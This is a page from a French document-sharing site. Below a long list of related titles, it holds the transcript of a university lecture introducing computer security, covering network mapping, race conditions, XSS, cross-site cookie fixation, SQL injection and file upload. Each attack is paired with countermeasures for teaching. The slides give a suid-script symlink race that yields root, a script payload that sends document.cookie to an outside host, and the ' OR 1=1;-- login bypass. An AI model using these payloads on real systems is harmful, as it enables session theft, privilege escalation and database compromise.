Introduction à la sécurité Informatique

Documents pareils
Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Vulnérabilités et sécurisation des applications Web

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Protection des protocoles

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Module BD et sites WEB

Attaques applicatives

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Sécurité des réseaux Les attaques

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

Architectures web/bases de données

Vulnérabilités et solutions de sécurisation des applications Web

Application Web et J2EE

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Mise en place d un serveur Proxy sous Ubuntu / Debian

ADF 2009 Sécurisation d applications PHP/MySQL

1. La plate-forme LAMP

Sécurité des applications web. Daniel Boteanu

Fonctionnement de Iptables. Exercices sécurité. Exercice 1

TP JEE Développement Web en Java. Dans ce TP nous commencerons la programmation JEE par le premier niveau d une application JEE : l application web.

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Mise en œuvre des serveurs d application

Transfert d un site local vers un serveur. NPDS REvolution 13. Rédaction : Axel Relecture : Dev & Jpb

Le filtrage de niveau IP

Sécuriser les applications web de l entreprise

INSTALLATION NG V2.1 D OCS INVENTORY. Procédure d utilisation. Auteur : GALLEGO Cédric 23/10/2014 N version : v1

Sécurité et Firewall

Service WEB, BDD MySQL, PHP et réplication Heartbeat. Conditions requises : Dans ce TP, il est nécessaire d'avoir une machine Debian sous ProxMox

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Gilles.Roussel univ-mlv.fr HTTP/1.1 RFC 2068

Le scan de vulnérabilité

Serveurs de noms Protocoles HTTP et FTP

L3 informatique TP n o 2 : Les applications réseau

Le Tunneling DNS. P.Bienaimé X.Delot P.Mazon K.Tagourti A.Yahi A.Zerrouki. Université de Rouen - M2SSI. 24 février 2011

Netfilter & Iptables. Théorie Firewall. Autoriser le trafic entrant d'une connexion déjà établie. Permettre le trafic entrant sur un port spécifique

Stockage du fichier dans une table mysql:

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

ASP.NET MVC 4 Développement d'applications Web en C# - Concepts et bonnes pratiques

Analyse statique de code dans un cycle de développement Web Retour d'expérience

WEBMESTRE : CONCEPTION DE SITES ET ADMINISTRATION DE SERVEURS WEB

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Installation d'un serveur FTP géré par une base de données MySQL

PHP 4 PARTIE : BASE DE DONNEES

Introduction. Adresses

Compromettre son réseau en l auditant?

API SMS CONSEIL HTTP V2.01. Sommaire. Documentation V1.0 au 21/05/2011

Création d'un site dynamique en PHP avec Dreamweaver et MySQL

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

Couche application. La couche application est la plus élevée du modèle de référence.

\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( <_> ) \ / /\ _ / \ / / \/ \/ \/ Team

Pratique et administration des systèmes

Figure 1a. Réseau intranet avec pare feu et NAT.

Bon ben voilà c est fait!

INSTALLATION DE L APPLICATION DU CONTEXTE ITASTE

Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6

Maarch Framework 3 - Maarch. Tests de charge. Professional Services. 11, bd du Sud Est Nanterre

(structure des entêtes)

«Cachez-moi cette page!»

K?ellaWeb Saisie des absences, retards et sanctions APLON en mode Web

FORMATION PcVue. Mise en œuvre de WEBVUE. Journées de formation au logiciel de supervision PcVue 8.1. Lieu : Lycée Pablo Neruda Saint Martin d hères

Réseau - Sécurité - Métrologie - Data Center. Le leader du marché allemand des UTM débarque en France avec des arguments forts!

SYSTÈMES D INFORMATIONS

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Attaques de type. Brandon Petty

Joomla! Création et administration d'un site web - Version numérique

<Insert Picture Here>ApExposé. Cédric MYLLE 05 Février Exposé Système et Réseaux : ApEx, Application Express d Oracle

SIP. Plan. Introduction Architecture SIP Messages SIP Exemples d établissement de session Enregistrement

Une approche positive du filtrage applicatif Web. Didier «grk» Conchaudron Sébastien «blotus» Blot

Les serveurs WEBUne introduction

Programmation Web. Introduction

1. Installation du Module

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

Linux et le Shell. Francois BAYART. Atelier du samedi 20 Novembre

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Création, analyse de questionnaires et d'entretiens pour Windows 2008, 7, 8 et MacOs 10

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

ITSR43 : INGÉNIERIE DES SYSTÈMES D INFORMATION Benoît Darties INTRODUCTION NOTION D INFORMATION QUELLES DONNÉES? EXPLOITATION DES DONNÉES

Maintenance et gestion approfondie des Systèmes d exploitation Master 2 SILI. Année universitaire David Genest

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

Présentation du Framework BootstrapTwitter

Linux sécurité des réseaux

Module http MMS AllMySMS.com Manuel d intégration

Gestion de stock pour un magasin

Les solutions de paiement CyberMUT (Crédit Mutuel) et CIC. Qui contacter pour commencer la mise en place d une configuration de test?

Sécurité des réseaux Firewalls

Sécuriser les applications web

E-TRANSACTIONS. Guide du programmeur API Plug-in. Version 1.1

TP Service HTTP Serveur Apache Linux Debian

les techniques d'extraction, les formulaires et intégration dans un site WEB

TAGREROUT Seyf Allah TMRIM

Le service FTP. M.BOUABID, Page 1 sur 5

Tous les autres noms de produits ou appellations sont des marques déposées ou des noms commerciaux appartenant à leurs propriétaires respectifs.

18 TCP Les protocoles de domaines d applications

L installation du module Webmail nécessite également quelques prérequis, à savoir :

Transcription:

Introduction à la sécurité Informatique Frédéric Gava (MCF) gava@u-pec.fr LACL, bâtiment P2 du CMC Université de Paris-Est Créteil 61 avenue du Général de Gaulle 94010 Créteil cedex

Checkmates Les exemples sont tirés de cas réels rencontrés par la société Checkmates http://www.checkmates.eu/fr/ http://www.checkmates.eu/_medias/files/checkmates%20- %20TOP%2010%20Corporate%20Networks%20Security% 20Flaws%20-%20January%202010%20-%20v1.0.pdf 2/35

Cartographie 3/35

Objectifs et outils Objectifs: avoir le plus d information possible quant à l architecture cible. Exemples d outils: Google : informations diverses Nmap : scanner de ports. Permet de savoir quels services sont ouverts sur une machine. CheckPhone : permet de faire du wardialing, c està-dire essayer tous les numéros de téléphone d un segment pour localiser des équipement informatiques. Traceroute : permet de connaître l itinéraire d un paquet entre nous et la cible. Tcptraceroute : idem que précédent, en TCP. Hping : permet de créer toutes sortes de paquets, afin d affiner les résultats. Telnet : connexion directe à un port sur une machine, pour tests manuels. etc. 4/35

Exemples: Tcptraceroute : plusieurs connexion, si toujours même machine, c est certainement un serveur ou un firewall! Telnet, connexions manuelles, récolter les bannières des services et ainsi identifier les produits : Sur portail.toto.net 80 GET / HTTP/1.0 HTTP/1.1 200 OK Date: Tue, 25 Apr 2009 09:30:29 GMT Server: Microsoft-IIS/5.0 Sur portail.toto.net 80 GET / / / HTTP/1.1 400 Bad Request Date: Tue, 25 Apr 2009 09:45:43 GMT Server: Apache/1.3.27 (Unix) Sur portail.toto.net 443 GET / HTTP/1.1 Host: portail.toto.net HTTP/1.1 400 Bad Request Date: Tue, 25 Apr 2009 09:44:34 GMT Server: Apache/1.3.29 (Unix) PHP/4.3.4 mod_ssl/2.8.16 OpenSSL/0.9.7c 5/35

Cartographie 6/35

Affinage Dans certains cas, il faut affiner les résultats Comment savoir ce qui se cache derrière une adresse IP? ICMP Timestamp (permet d obtenir l heure système de la station distante) TCP Timestamp (permet d obtenir l uptime) IP ID (numéro de séquence du paquet) 7/35

Affinage (2) Exemple : ici, 2 serveurs DNS distincts sont identifiés : 8/35

Affinage (3) Pourtant, il s agit de la même machine (ou du même cluster) : les IP ID le montrent 9/35

Affinage (4) Grâce à cette méthode, les adresses correspondant à la même machine peuvent donc être regroupées : 10/35

Conclusion L étape de cartographie est très rarement (voire jamais) réalisée seule. Elle se place en introduction à des «pentests» systèmes au minimum. Avantages : Non intrusif Optimise les attaques ultérieures Permet de soupçonner l existence de failles systèmes (versions, etc.) Le client peut estimer quelle visibilité il donne de son réseau à l extérieur Inconvénients : Peu de certitudes : les schémas produits sont toujours des estimations de la réalité Pas de preuve concrète de l existence de failles (sauf cas particulier, comme les DNS récursifs) 11/35

Quelques attaques 12/35

Race-condition (1) Soit 2 processus coopératifs de durée aléatoire ayant accès à une même ressource A : L état final de A diffère en raison d une absence de synchronisation entre processus 13/35

Exemples attaques (1) D anciennes implémentations de la commande Unix «mkdir» étaient constituées des opérations suivantes : Le Super user crée le répertoire dir Les permissions par défaut sont 777. Le Super user exécute chown pour donner la propriété de «dir» à l utilisateur de mkdir L utilisateur change les permissions via umask(2) selon sa variable umask. L attaque : Trouvez un répertoire où vous pouvez écrire (/tmp) Créez un script A qui : Tourne en permanence à la recherche de /tmp/myfile Supprime dès qu il trouve ce fichier et le remplace par un link vers /etc/password Créez un script B qui : Sleep(5) Mkdir /tmp/myfile Lancez A avec une priorité haute et B avec une priorité faible Que se passe-t-il si le link arrive avant le chown? Vous êtes temporairement le propriétaire de /etc/password 14/35

Exemples attaques (2) De nombreuses applications ont été vulnérables, même récemment En 2009 : SQL Server OpenSSH Firefox Java VMWare Etc. Ces failles peuvent permettre : D exécuter des commandes arbitraires D accéder illégitimement à des données Créer un déni de service Corrompre des données etc. 15/35

Exemples attaques (3) Lorsque plusieurs programmes s'exécutant en même temps partagent une ressource, typiquement le système de fichier. Attaque sur les scripts suid : $ id uid=1000(gava) gid=1000(gava) groups=4(adm) $ head -n 1 /bin/suidscript #!/bin/sh $ cd /tmp; echo "id" > titi.sh; ln -s /bin/suidscript toto $ (nice -n +19./toto &) ; ln -sf titi.sh toto uid=0(root) gid=0(root) groups=0(root) Pourquoi: le système suit le lien toto et trouve un programme suid devient root le système invoque l'interpréteur donné dans la première ligne avec le source en argument /bin/sh toto pendant que /bin/sh se charge, ln remplace toto (le nice -n +19 lui laisse du temps) /bin/sh lit le contenu de toto et donc de titi.sh et l'exécute id de root les systèmes modernes ignorent suid sur les scripts 16/35

Exemples attaques (4) Attention : évitez d'utiliser une suite d'appels à chown, chgrp et chmod qui prennent un nom de fichier en paramètre : le fichier peut changer entre deux appels. Utilisez plutôt fchown, fstat et fchmod qui prennent un descripteur de fichier (ne peut pas changer) un appel à "access" suivi de "open" est fautif car les droits peuvent changer entre les deux appels. A la place, positionner les droits avec umask, setuid et setgid et lancer directement open en testant la valeur de retour. tout fichier créé doit avoir les droits corrects dès le début utiliser umask suivi de open avec le mode O_CREAT O_EXCL, puis vérifier l'absence d'erreur attention à la création de fichiers temporaires (délai entre la création du nom et celle du fichier): Solution utilisez mkstemp au lieu de tempfile utilisez umask au préalable une fois le fichier fermé, ne l'ouvrez plus jamais et ne réutilisez pas son nom effacez immédiatement le fichier avec unlink il disparaît du système de fichier mais reste utilisable jusqu'à sa fermeture (et le fichier sera effacé même si le programme plante) plutôt que d'utiliser /tmp, créez un sous-répertoire privé ( umask avant création) attention à NFS (v2) qui ne supporte pas O_EXCL. ne faîtes pas confiance aux variables d'environnement TMP et TMPDIR si l'utilisateur peut les positionner 17/35

Cross Script Scripting (XSS) Cette attaque s effectue à l encontre des utilisateurs de l application, et non de l application elle-même Elle permet en cas de succès de voler leur session (entre autres), et donc d accéder à leurs données Possible à cause d une erreur de développement : une page «affiche» ce qu un utilisateur entre, sans filtrage préalable De plus, il s agit d une faille médiatique (Cf. l affaire des banques contre «Kitetoa», bug tweeter etc.) 18/35

2 cas de figure principaux : XSS (1) Intégration permanente (cas du forum) : la forme la plus destructrice mais assez rare. Intégration volatile : cas de figure fréquent mais nécessite que l utilisateur accède au site vulnérable à travers un lien spécialement forgé Exemple : une page contient la possibilité d injecter des données dans son contenu à travers un paramètre, sans filtrage : http://www.unsite.fr/bienvenue.php?prenom=<b>nimportequoi</b> Le site renvoie une page du type : «Bienvenue nimportequoi!» Du code javascript peut alors être intégré dans une page à travers un lien. Dans ce qui suit, un simple «popup» : 19/35

XSS(2) 20/35

XSS (3) <script>document.location='http://mysite/dump.asp?cookies= +document.cookie</script> 21/35

XSS (4) 22/35

XSS (5) 23/35

XSS (6) 24/35

XSS(7) Détection simple : insérer ce texte champ de formulaire ou dans une URL : <script type="text/javascript">alert('bonjour')</script> Elle n attaque pas directement un serveur ou une application, mais ses utilisateurs Cette vulnérabilité est relativement simple à détecter : Retraiter systématiquement le code HTML produit par l'application avant l'envoi au navigateur ; Filtrer les variables affichées ou enregistrées avec des caractères '<' et '>' En PHP : utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ; utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou Javascript. utiliser strip_tags() qui supprime les balises. Utiliser de façon propre les balises HTML <noscript></noscript> (failles connus, voir http://securethoughts.com/2009/02/hacking-for-xss-inside-noscripthtml-tags/) 25/35

Cross-site cooking (1) Exploit des navigateurs Web et repose sur une mauvaise interaction entre deux sites Web. Cet exploit permet notamment l'usurpation d'identité au moyen d'attaque par fixation de session. Exemple : Alice utilise régulièrement le site A sur lequel elle s'identifie de manière sécurisée (site bancaire par exemple) Oscar incite Alice à visiter le site B, qui envoie au navigateur un cookie d'identifiant de session au nom du site A. Oscar incite Alice à visiter le site A. Lorsque Alice se connecte sur le site A avec l'identifiant de session que lui a communiqué le Site B, Oscar a alors accès au compte d'alice grâce à l'identifiant de session. Ce type d'attaque peut être couplé à du phishing. Par exemple, le site B pourrait être fortement semblable au site A et rediriger Alice vers le site A après lui avoir communiqué l'identifiant de session. 26/35

Cross-site cooking (2) Prévention : Associer à l'identifiant de session l'adresse IP. Cela empêcherait Oscar de se connecter au compte d'alice à moins qu'il n'ait la même adresse IP. Expirer les anciens SIDs Générer une nouvelle session à chaque connexion. Oscar n'aurait alors plus le bon identifiant de session. Permettre à Alice de se déconnecter du site, et détruire alors le cookie d'identifiant de session. 27/35

Injection SQL (1) Cette fois, cette vulnérabilité concerne l application ellemême, et le serveur qui l héberge Due à un mauvais filtrage des paramètres envoyés par le client à l application Le pirate injecte des commandes pour «piloter» la base de données utilisée par l application Risques critiques pour l application, voire pour le système. Possibilité : D obtenir toutes les données de la base notamment les informations des clients De corrompre les données de la base de donnée De «defacer» le site Web De compromettre totalement le serveur (prise de main à distance) De rebondir sur d autres serveurs Achat sans payer (sites marchand) etc. 28/35

Exemple : Injection SQL (2) Ensuite, envoyer des requêtes plus complexes 29/35

Injection SQL (3) 30/35

Injection SQL (4) Un formulaire HTML contient <form method="post" action="process_login.php"> <input type="text" name="username"> <input type="password" name="password"></form> Exemple de requête exécutée par le serveur : SELECT * FROM Users WHERE username = ' "& username &" ' AND password = ' "& password &" ' ; Si un utilisateur fournit jsmith comme Username et MyPass comme mot de passe, la requête suivante est envoyée au SGBD : SELECT * FROM Users WHERE username = Jsmith' AND password = MyPass' ; 31/35

Injection SQL (5) Réalisation de l attaque : L attaquant fournit le mot de passe suivant : ' OR 1=1;-- Dans ce cas, la requête suivante est envoyée à la base : SELECT * FROM Users WHERE username = jsmith' AND password = ' ' OR 1=1;-- ' ; Dans ce cas, le SGBD retourne le n-uplet du user Jsmith (ou toutes les lignes) Si on ne connaît pas d utilisateur, on peut utiliser le même champ pour le login connecté en tant que premier utilisateur de la base En général, il s agira de l administrateur de la base 32/35

Injection SQL (6) Protection : Filtrage des entrées utilisateur Utiliser une liste blanche (n autoriser que le réputé valide) Type (entier, caractères, etc.) Range Lettres Chiffres Et rejeter TOUT le reste Si difficile à mettre en œuvre, utiliser une liste noire (interdire ce qui est connu comme dangereux) Les caractères spéciaux. ex : # " ' ; Les mots clefs. ex : SELECT, UNION, DELETE, exec, master..xp_cmdshell Il peut être utile de filtrer les sorties Ex : messages d erreurs trop explicites Erreur de connexions mieux vaut ne rien afficher! 33/35

Upload de fichier (1) Certains sites web proposent l upload de fichiers (souvent images) Les pirates vont chercher à envoyer autre chose que les fichiers prévus par les développeurs (virus, cheval de Troie, pages web) Exemple : ici on peut attacher une image pour illustrer son compte; les utilisateurs mettent une photo d identité, mais le pirate envoie un fichier «.aspx» (format Microsoft.NET) 34/35

Upload (2) 35/35